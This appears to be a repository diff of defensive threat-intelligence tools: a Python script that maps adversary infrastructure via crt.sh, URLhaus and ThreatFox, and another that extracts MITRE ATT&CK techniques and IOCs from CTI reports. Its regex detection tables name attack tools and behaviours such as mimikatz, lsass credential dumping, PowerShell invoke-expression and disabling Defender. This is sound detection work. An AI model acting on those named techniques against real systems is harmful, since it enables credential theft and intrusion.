"""Adversary Infrastructure Tracking Agent - Tracks threat actor infrastructure using passive DNS and certificate transparency."""
import json
import logging
import argparse
from datetime import datetime
from collections import defaultdict
import requests
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)
def query_crtsh(domain):
"""Query crt.sh certificate transparency for domain certificates."""
resp = requests.get(f"https://crt.sh/?q=%.{domain}&output=json", timeout=30)
resp.raise_for_status()
certs = resp.json()
logger.info("crt.sh: %d certificates for %s", len(certs), domain)
return certs
def query_urlhaus(ioc, ioc_type="host"):
"""Query URLhaus for malicious URL hosting information."""
resp = requests.post("https://urlhaus-api.abuse.ch/v1/host/", data={ioc_type: ioc}, timeout=15)
resp.raise_for_status()
return resp.json()
def query_threatfox(ioc):
"""Query ThreatFox for IOC intelligence."""
resp = requests.post("https://threatfox-api.abuse.ch/api/v1/", json={"query": "search_ioc", "search_term": ioc}, timeout=15)
resp.raise_for_status()
return resp.json()
def pivot_on_certificate(cert_data):
"""Pivot on certificate data to find related infrastructure."""
related_domains = set()
issuers = defaultdict(list)
for cert in cert_data:
name_value = cert.get("name_value", "")
for domain in name_value.split("\n"):
domain = domain.strip().lstrip("*.")
if domain:
related_domains.add(domain)
issuer = cert.get("issuer_name", "")
issuers[issuer].append(cert.get("serial_number", ""))
return {"related_domains": sorted(related_domains), "issuers": {k: len(v) for k, v in issuers.items()}}
def build_infrastructure_map(seed_iocs, ioc_types):
"""Build infrastructure map from seed IOCs."""
infra_map = {"nodes": [], "edges": [], "iocs": {}}
for ioc, itype in zip(seed_iocs, ioc_types):
node = {"ioc": ioc, "type": itype, "sources": []}
if itype == "domain":
try:
certs = query_crtsh(ioc)
pivot = pivot_on_certificate(certs)
node["ct_domains"] = pivot["related_domains"][:20]
node["sources"].append("crt.sh")
for related in pivot["related_domains"][:5]:
infra_map["edges"].append({"from": ioc, "to": related, "relation": "shared_certificate"})
except requests.RequestException as e:
node["ct_error"] = str(e)
try:
urlhaus = query_urlhaus(ioc, "host" if itype == "domain" else "host")
if urlhaus.get("query_status") == "ok" and urlhaus.get("urls"):
node["urlhaus_urls"] = len(urlhaus.get("urls", []))
node["sources"].append("urlhaus")
except requests.RequestException:
pass
try:
tf = query_threatfox(ioc)
if tf.get("query_status") == "ok" and tf.get("data"):
node["threatfox_hits"] = len(tf["data"])
node["sources"].append("threatfox")
except requests.RequestException:
pass
infra_map["nodes"].append(node)
infra_map["iocs"][ioc] = node
return infra_map
def generate_report(infra_map, seed_iocs):
"""Generate infrastructure tracking report."""
report = {
"timestamp": datetime.utcnow().isoformat(),
"seed_iocs": seed_iocs,
"nodes_discovered": len(infra_map["nodes"]),
"edges_discovered": len(infra_map["edges"]),
"infrastructure_map": infra_map,
}
print(f"INFRA REPORT: {len(infra_map['nodes'])} nodes, {len(infra_map['edges'])} edges")
return report
def main():
parser = argparse.ArgumentParser(description="Adversary Infrastructure Tracking Agent")
parser.add_argument("--iocs", nargs="+", required=True, help="Seed IOCs (domains/IPs)")
parser.add_argument("--types", nargs="+", required=True, help="IOC types (domain/ip)")
parser.add_argument("--output", default="infra_tracking_report.json")
args = parser.parse_args()
infra_map = build_infrastructure_map(args.iocs, args.types)
report = generate_report(infra_map, args.iocs)
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
logger.info("Report saved to %s", args.output)
if __name__ == "__main__":
main()
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -0,0 +1,48 @@
# API Reference: Attack Pattern Library from CTI Reports
## Technique Extraction Patterns
| Technique | Regex Pattern |
|-----------|--------------|
| T1566.001 | `spearphish.*attach` |
| T1059.001 | `powershell`, `invoke-expression` |
| T1053.005 | `scheduled task`, `schtasks` |
| T1547.001 | `registry run key`, `CurrentVersion\\Run` |
| T1003.001 | `lsass`, `credential dump`, `mimikatz` |
| T1486 | `ransomware encrypt` |
| T1048 | `exfiltration`, `data theft` |
## IOC Extraction Regex
| IOC Type | Pattern |
|----------|---------|
| IPv4 | `\b(?:\d{1,3}\.){3}\d{1,3}\b` |
| Domain | `[a-zA-Z0-9-]+\.(?:com\|net\|org)` |
| MD5 | `[a-fA-F0-9]{32}` |
| SHA-256 | `[a-fA-F0-9]{64}` |
| Defanged URL | `hxxps?://[^\s]+` |
| Explicit technique | `T\d{4}(?:\.\d{3})?` |
## STIX Attack Pattern
```json
{
"type": "attack-pattern",
"name": "Spearphishing Attachment",
"external_references": [
{"source_name": "mitre-attack", "external_id": "T1566.001"}
],
"kill_chain_phases": [
{"phase_name": "initial-access"}
]
}
```
## Library Output Structure
| Field | Description |
|-------|-------------|
| `technique_frequency` | Count per technique across reports |
| `technique_report_map` | Which reports mention each technique |
| `total_unique_techniques` | Distinct techniques found |
## MITRE ATT&CK STIX Data
```
https://raw.githubusercontent.com/mitre/cti/master/enterprise-attack/enterprise-attack.json
```
@@ -0,0 +1,127 @@
#!/usr/bin/env python3
"""Attack Pattern Library Builder Agent - Extracts attack patterns from CTI reports and maps to MITRE ATT&CK."""
import json
import re
import logging
import argparse
from datetime import datetime
from collections import Counter, defaultdict
import requests
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)
TECHNIQUE_PATTERNS = {
"T1566.001": [r"spearphish(?:ing)?\s+attach", r"malicious\s+(?:email\s+)?attachment"],
"T1566.002": [r"spearphish(?:ing)?\s+link", r"phishing\s+(?:url|link)"],
"T1059.001": [r"powershell", r"invoke-(?:expression|command|webrequest)"],
"T1059.003": [r"cmd\.exe", r"command\s+(?:prompt|shell|line)"],
"T1053.005": [r"scheduled\s+task", r"schtasks"],
"T1547.001": [r"registry\s+run\s+key", r"autostart", r"CurrentVersion\\\\Run"],
"T1003.001": [r"lsass", r"credential\s+dump", r"mimikatz"],
"T1021.001": [r"remote\s+desktop", r"rdp\s+lateral"],
"T1021.002": [r"smb\s+share", r"admin\s*\$", r"C\s*\$\s+share"],
"T1071.001": [r"http\s+c2", r"web\s+(?:beacon|c2)", r"https?\s+callback"],
"T1486": [r"encrypt(?:ion|ed)\s+(?:file|data)", r"ransomware\s+encrypt"],
"T1048": [r"exfiltrat(?:e|ion)", r"data\s+(?:theft|steal|upload)"],
"T1105": [r"download(?:ed)?\s+(?:payload|malware|tool)", r"ingress\s+tool\s+transfer"],
"T1027": [r"obfuscat(?:e|ion|ed)", r"encoded\s+(?:payload|script)"],
"T1562.001": [r"disable\s+(?:antivirus|defender|security)", r"tamper\s+protection"],
}
def extract_techniques_from_text(text):
"""Extract MITRE ATT&CK techniques from report text."""
text_lower = text.lower()
matched = {}
for tech_id, patterns in TECHNIQUE_PATTERNS.items():
for pattern in patterns:
if re.search(pattern, text_lower):
matched[tech_id] = {"pattern_matched": pattern, "technique_id": tech_id}
break
explicit = re.findall(r"T\d{4}(?:\.\d{3})?", text)
for tid in explicit:
if tid not in matched:
matched[tid] = {"pattern_matched": "explicit_reference", "technique_id": tid}
return matched
def extract_iocs_from_text(text):
"""Extract IOCs from report text."""
iocs = {
"ips": list(set(re.findall(r"\b(?:\d{1,3}\.){3}\d{1,3}\b", text))),
"domains": list(set(re.findall(r"\b(?:[a-zA-Z0-9-]+\.)+(?:com|net|org|io|xyz|top|info|ru|cn)\b", text))),
"hashes_md5": list(set(re.findall(r"\b[a-fA-F0-9]{32}\b", text))),
"hashes_sha256": list(set(re.findall(r"\b[a-fA-F0-9]{64}\b", text))),
"urls": list(set(re.findall(r"hxxps?://[^\s<>\"]+", text))),
}
return iocs
def process_report(report_text, report_name=""):
"""Process a single CTI report to extract attack patterns."""
techniques = extract_techniques_from_text(report_text)
iocs = extract_iocs_from_text(report_text)
return {
"report_name": report_name,
"techniques_found": len(techniques),
"technique_ids": list(techniques.keys()),
"technique_details": techniques,
"ioc_counts": {k: len(v) for k, v in iocs.items()},
"iocs": iocs,
}
def build_pattern_library(processed_reports):
"""Build a consolidated attack pattern library from multiple reports."""
technique_frequency = Counter()
technique_reports = defaultdict(list)
for report in processed_reports:
for tid in report["technique_ids"]:
technique_frequency[tid] += 1
technique_reports[tid].append(report["report_name"])
library = {
"technique_frequency": dict(technique_frequency.most_common()),
"technique_report_map": {t: r for t, r in technique_reports.items()},
"total_unique_techniques": len(technique_frequency),
"total_reports_processed": len(processed_reports),
}
return library
def generate_report(processed_reports, library):
"""Generate attack pattern library report."""
report = {
"timestamp": datetime.utcnow().isoformat(),
"library": library,
"report_details": processed_reports,
}
print(f"PATTERN LIBRARY: {library['total_unique_techniques']} techniques from {library['total_reports_processed']} reports")
return report
def main():
parser = argparse.ArgumentParser(description="Attack Pattern Library Builder Agent")
parser.add_argument("--report-files", nargs="+", required=True, help="CTI report text files")
parser.add_argument("--output", default="pattern_library.json")
args = parser.parse_args()
processed = []
for filepath in args.report_files:
with open(filepath, "r", encoding="utf-8", errors="ignore") as f:
text = f.read()
result = process_report(text, filepath)
processed.append(result)
logger.info("Processed %s: %d techniques", filepath, result["techniques_found"])
library = build_pattern_library(processed)
report = generate_report(processed, library)
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
logger.info("Report saved to %s", args.output)
if __name__ == "__main__":
main()
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2025 Anthropic Agent Skills Contributors
Copyright (c) 2025 Mahipal
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal

Some files were not shown because too many files have changed in this diff Show More